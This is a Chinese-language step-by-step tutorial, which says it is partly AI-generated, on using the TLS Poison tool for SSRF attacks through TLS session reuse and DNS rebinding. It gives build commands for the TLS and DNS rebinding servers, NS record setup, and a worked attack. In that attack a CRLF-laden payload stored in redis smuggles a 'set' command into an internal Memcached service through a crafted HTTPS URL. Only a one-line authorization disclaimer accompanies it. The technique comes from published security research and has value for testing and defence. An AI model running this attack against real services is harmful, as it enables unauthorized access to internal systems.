终极指南:如何使用TLS Poison实现通用TLS SSRF攻击
终极指南:如何使用TLS Poison实现通用TLS SSRF攻击
【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison
TLS Poison是一款强大的工具,它允许通过TLS实现通用的SSRF攻击,以及在大多数浏览器中通过图像标签实现CSRF攻击。其目标与SNI注入类似,但这种新方法利用了TLS的固有行为,而非依赖特定实现中的漏洞。
🚀 什么是TLS Poison?
TLS Poison最初在Blackhat USA 2020和DEF CON Safemode上被提出,它主要基于rustls和dns-mitm项目开发,通过TLS会话持久性来实现攻击。
💡 攻击原理
TLS Poison的核心原理是利用TLS的会话持久性和DNS重绑定技术。当目标系统发起HTTPS请求时,TLS Poison会先建立一个正常的TLS连接,然后通过DNS重绑定将域名解析到内部服务,同时复用之前建立的TLS会话,从而将恶意 payload 发送到内部服务。
📋 准备工作
在开始使用TLS Poison之前,你需要准备以下环境:
- 一个可以设置NS记录的域名
- 两台公共服务器(分别用于TLS服务器和DNS重绑定服务器)
- 基本的Linux命令行操作能力
🔧 安装步骤
1. 克隆仓库
首先,克隆TLS Poison仓库到你的服务器:
git clone https://link.gitcode.com/i/c027f894212a1861ac69affcc460acca.git2. 部署TLS服务器
TLS服务器需要部署在公共网络上,最终DNS重绑定服务器会将域名解析到这里。
# 安装依赖 sudo apt install git redis # 安装Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # 编译 cargo build # 测试服务器 target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http在另一个终端中验证设置:
curl -kv https://localhost:84433. 部署DNS重绑定服务器
DNS重绑定服务器也需要部署在公共网络上,建议与TLS服务器分开部署。
sudo apt install python3 python3-pip cd TLS-poison/client-hello-poisoning/custom-dns pip3 install -r requirements.txt # 启动DNS重绑定服务器 # $DOMAIN: 你拥有的域名 # $TARGET_IP: 目标内部服务IP,通常是127.0.0.1 # $INITIAL_IP: TLS服务器的IP sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8如果遇到"OSError: address already in use"错误,可以停止systemd-resolved服务:
sudo systemctl stop systemd-resolved验证DNS重绑定是否正常工作:
dig @localhost $DOMAIN4. 设置NS记录和证书
你需要设置NS记录和胶水记录,使DNS请求指向你的重绑定服务器。例如,如果你的域是example.com,应添加:
dns.example.com A 300 <DNS_IP> tlstest.example.com NS 300 dns.example.com然后获取TLS证书:
# 使用certbot获取证书 # 参考certbot DNS instructions完成DNS挑战 # 重新启动TLS服务器 target/debug/custom-tls -p 8443 --verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http🎯 实施攻击
针对Memcached的攻击示例
- 设置攻击 payload:
redis-cli 127.0.0.1:6379> set payload "\r\nset foo 0 0 14\r\nim in ur cache \r" Ctrl+c- 启动TLS服务器,监听Memcached端口(11211):
target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http- 使用以下URL作为SSRF payload:
https://tlstest.example.com:11211⚠️ 注意事项
- 攻击前确保获得合法授权
- 不同软件对TLS会话持久性的处理不同,可能需要调整sleep参数
- 对于Chrome等浏览器,sleep时间可能需要设置得较短
- 如果遇到重定向次数限制,可以增加sleep时间至59000ms或更长
📚 相关资源
- 项目源码:TLS-poison
- TLS服务器代码:client-hello-poisoning/custom-tls/src/main.rs
- DNS重绑定服务器代码:client-hello-poisoning/custom-dns/alternate-dns.py
通过本指南,你应该能够理解并使用TLS Poison工具来实现通用的TLS SSRF攻击。记住,网络安全工具应仅用于合法的安全测试和研究目的。
【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
